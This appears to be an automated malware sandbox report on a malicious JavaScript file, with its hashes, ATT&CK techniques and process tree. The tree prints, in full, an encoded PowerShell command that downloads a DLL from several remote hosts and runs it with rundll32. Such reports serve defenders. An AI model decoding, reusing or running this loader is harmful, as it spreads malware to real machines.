0065a0dd6ad81f015322a8ab025bea3c7377f9e556bb29f2a8b233c9ece5fee8

General

Target

Y5K4hvshxkpr.js
Size

308KB
MD5

6e1ab611c61f6e94a918b55fb6760cc3
SHA1

58efbcc65bcdd5762f334faf680d0daec937f658
SHA256

7051648dbe2e7564e9e513cc256750c65854a4de2085300bc0fffa285f118875
SHA512

83b96deb10598b40b2398a897cef122b361efacd51957819c269b9385b5c9f44003d3147c778cc0fecb52fb1f517a2b1ac28e012b936fa13ca26ab3e4921f504
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbDQPVg8s58/85coOWFXNhS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygE

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
20	1544	powershell.exe
21	1544	powershell.exe
24	1544	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1544	powershell.exe
1544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1860 wrote to memory of 1544	1860	wscript.exe	85
PID 1860 wrote to memory of 1544	1860	wscript.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Y5K4hvshxkpr.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABCAGwAZQBwAGgAYQByAG8AcwB5AG4AZQBjAGgAaQBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBRAEEAYgB3AEIAdwBBAEcAVQBBAFkAZwBCAHYAQQBHADgAQQBhAHcAQgBEAEEARwBFAEEAYwB3AEIAagBBAEcARQBBAGMAZwBCAGgAQQBIAE0AQQBMAGcAQgB6AEEARwBNAEEATAB3AEIAbABBAEMAOABBAFUAUQBCAFEAQQBIAGsAQQBtAEcAegByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFoAUQBCAHUAQQBIAFEAQQBlAFEAQgBzAEEARwBrAEEAWQB3AEIARABBAEcAawBBAGMAZwBCAGoAQQBIAFUAQQBiAFEAQgAyAEEARwBrAEEAWQBRAEIAMABBAEcAVQBBAEwAZwBCADAAQQBHAFUAQQBZAHcAQgBvAEEARwA0AEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCADUAQQBDADgAQQBTAHcAQgBJAEEARwAwAEEATAB3AEIAMwBBAEgARQBBAG0ARwB6AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQATQBBAE4AZwBBAHYAQQBGAEUAQQBjAEEAQgBRAEEASABFAEEATAB3AEIAUgBBAEUAYwBBAGMAQQBCAHgAQQBFAHMAQQBOAGcAQQA9AG0ARwB6AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAeQBBAEQAVQBBAE0AdwBBAHYAQQBHAFEAQQBUAEEAQgB5AEEARwB3AEEAVwBBAEEAeABBAEcASQBBAEwAdwBCAHUAQQBGAFEAQQBiAEEAQgBQAEEARwAwAEEATgBnAEEANABBAEQAYwBBAGQAZwBBAD0AbQBHAHoAcgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB4AEEARABFAEEATQB3AEEAdgBBAEcAbwBBAE4AQQBCAFUAQQBHAG8AQQBhAGcAQgB2AEEARABRAEEATAB3AEIAbgBBAEgARQBBAFYAdwBCAEQAQQBEAGsAQQBjAFEAQgB4AEEARgBBAEEAUgB3AEIAcwBBAEcAawBBAGUAQQBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAdABvAG0AYwBvAGQAcwAgAGkAbgAgACQAQgBsAGUAcABoAGEAcgBvAHMAeQBuAGUAYwBoAGkAYQAgAC0AcwBwAGwAaQB0ACAAIgBtAEcAegByACIAKQAgAHsAdAByAHkAIAB7ACQAcABoAHkAbABsAG8AbQBlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdABvAG0AYwBvAGQAcwApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAHAAaAB5AGwAbABvAG0AZQBzACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAHAAcwBlAHUAZABvAGEAZwBnAHIAZQBzAHMAaQB2AGUALgBkAGwAbAA7ACQAYQBjAGMAZQBsAGUAcgBvAGcAcgBhAHAAaABCAGUAbABvAG4AZwBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAFEAQQB1AEEARABJAEEATQBBAEEAegBBAEMANABBAE4AZwBBADEAQQBDADQAQQBPAFEAQQA0AEEAQQA9AD0AIgA7ACQARgBvAHIAbQBhAHoAeQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABRAEEATQB3AEEAdQBBAEQAVQBBAE0AUQBBAHUAQQBEAEUAQQBOAHcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAQQBBAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATwBBAEEAdQBBAEQARQBBAE0AUQBBADEAQQBDADQAQQBNAFEAQQAzAEEARABRAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAGsAQQBjAHcAQgB3AEEASABJAEEAYgB3AEIAMgBBAEcAVQBBAGIAZwBBAHUAQQBHAHcAQQBhAFEAQgBuAEEARwBnAEEAZABBAEIAcABBAEcANABBAFoAdwBBAD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHUAQQBHADgAQQBiAGcAQgBoAEEARwBZAEEAWgBnAEIAbABBAEcATQBBAGQAQQBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAVgBBAEIAeQBBAEcAawBBAFoAdwBCAHYAQQBHADQAQQBiAHcAQgBrAEEARwA4AEEAYgBnAEIAMABBAEMANABBAGEAQQBCAHYAQQBIAE0AQQBkAEEAQQA9ACIAOwAkAHAAcgBvAHMAcwB0AG8AYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAWgBBAEcARQBBAGMAZwBCAHYAQQBIAFkAQQBhAFEAQgA2AEEARwBFAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAEQAQQBHAEUAQQBkAFEAQgB6AEEARwBVAEEAWgBnAEIAMQBBAEcAdwBBAEwAZwBCAGgAQQBHAGsAQQBjAGcAQgBtAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAHEAbgBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAcwBBAFkAUQBCAHMAQQBHAHcAQQBhAFEAQgBrAEEARwBrAEEAYgBnAEIAegBBAEUAMABBAGEAUQBCAHoAQQBHAEkAQQBaAFEAQgBzAEEARwBrAEEAWgBRAEIAbQBBAEMANABBAGUAUQBCAHYAQQBHAGMAQQBZAFEAQQA9AHEAbgBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAFoAUQBCAHcAQQBHAGcAQQBiAEEAQgBsAEEARwBjAEEAYgBRAEIAaABBAEgAUQBBAGEAUQBCADYAQQBHAFUAQQBMAGcAQgBoAEEARwB3AEEAYwB3AEIAaABBAEcATQBBAFoAUQBBAD0AcQBuAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEARwBVAEEAWQBnAEIAaABBAEgAUQBBAFoAUQBCAHQAQQBHAFUAQQBiAGcAQgAwAEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABwAHMAZQB1AGQAbwBhAGcAZwByAGUAcwBzAGkAdgBlAC4AZABsAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA5ADYAMwA2ADQAKQB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAWQB3AEIAdABBAEcAUQBBAEkAQQBBAHYAQQBHAE0AQQBJAEEAQgB5AEEASABVAEEAYgBnAEIAawBBAEcAdwBBAGIAQQBBAHoAQQBEAEkAQQBJAEEAQgBEAEEARABvAEEAWABBAEIAUQBBAEgASQBBAGIAdwBCAG4AQQBIAEkAQQBZAFEAQgB0AEEARQBRAEEAWQBRAEIAMABBAEcARQBBAFgAQQBCAHcAQQBIAE0AQQBaAFEAQgAxAEEARwBRAEEAYgB3AEIAaABBAEcAYwBBAFoAdwBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARwBrAEEAZABnAEIAbABBAEMANABBAFoAQQBCAHMAQQBHAHcAQQBMAEEAQgB0AEEASABVAEEAYwB3AEIAMABBAEQAcwBBACIAOwAkAFIAZQBoAGUAYQByAHMAZQByAHMAUgBlAG0AYgByAGEAbgBkAHQAaQBzAGgAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEkAQQBaAFEAQgB4AEEASABVAEEAWgBRAEIAegBBAEgAUQBBAFoAUQBCAGsAQQBDADQAQQBjAHcAQgAxAEEASABBAEEAYwBBAEIAdgBBAEgASQBBAGQAQQBBAD0AIgA7ACQASQBtAHAAYQByAHQAYQB0AGkAbwBuAFIAZQBkAGkAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABFAEEATABnAEEANABBAEQAUQBBAEwAZwBBAHgAQQBEAGcAQQBOAGcAQQA9AGUAVwB6AEQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBRAEEAdQBBAEQARQBBAE4AQQBBAHgAQQBDADQAQQBOAFEAQQAxAEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAGUAVwB6AEQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABVAEEAYgBnAEIAegBBAEgAVQBBAGIAUQBCAHQAQQBHAEUAQQBjAGcAQgBwAEEASABvAEEAWgBRAEIAawBBAEMANABBAFoAdwBCADEAQQBIAEkAQQBkAFEAQQA9AGUAVwB6AEQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAxAEEARwA0AEEAYQB3AEIAbABBAEcANABBAGIAZwBCAGwAQQBHAHcAQQBjAHcAQgBFAEEARwBrAEEAYgBnAEIAdABBAEcARQBBAGIAZwBBAHUAQQBHADAAQQBiAHcAQgAyAEEARwBrAEEAWgBRAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1544

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p0g2fdfq.ffh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1544-133-0x000001EFCB620000-0x000001EFCB642000-memory.dmp

Filesize
136KB

Download
memory/1544-143-0x000001EFB0F00000-0x000001EFB0F10000-memory.dmp

Filesize
64KB

Download
memory/1544-144-0x000001EFB0F00000-0x000001EFB0F10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing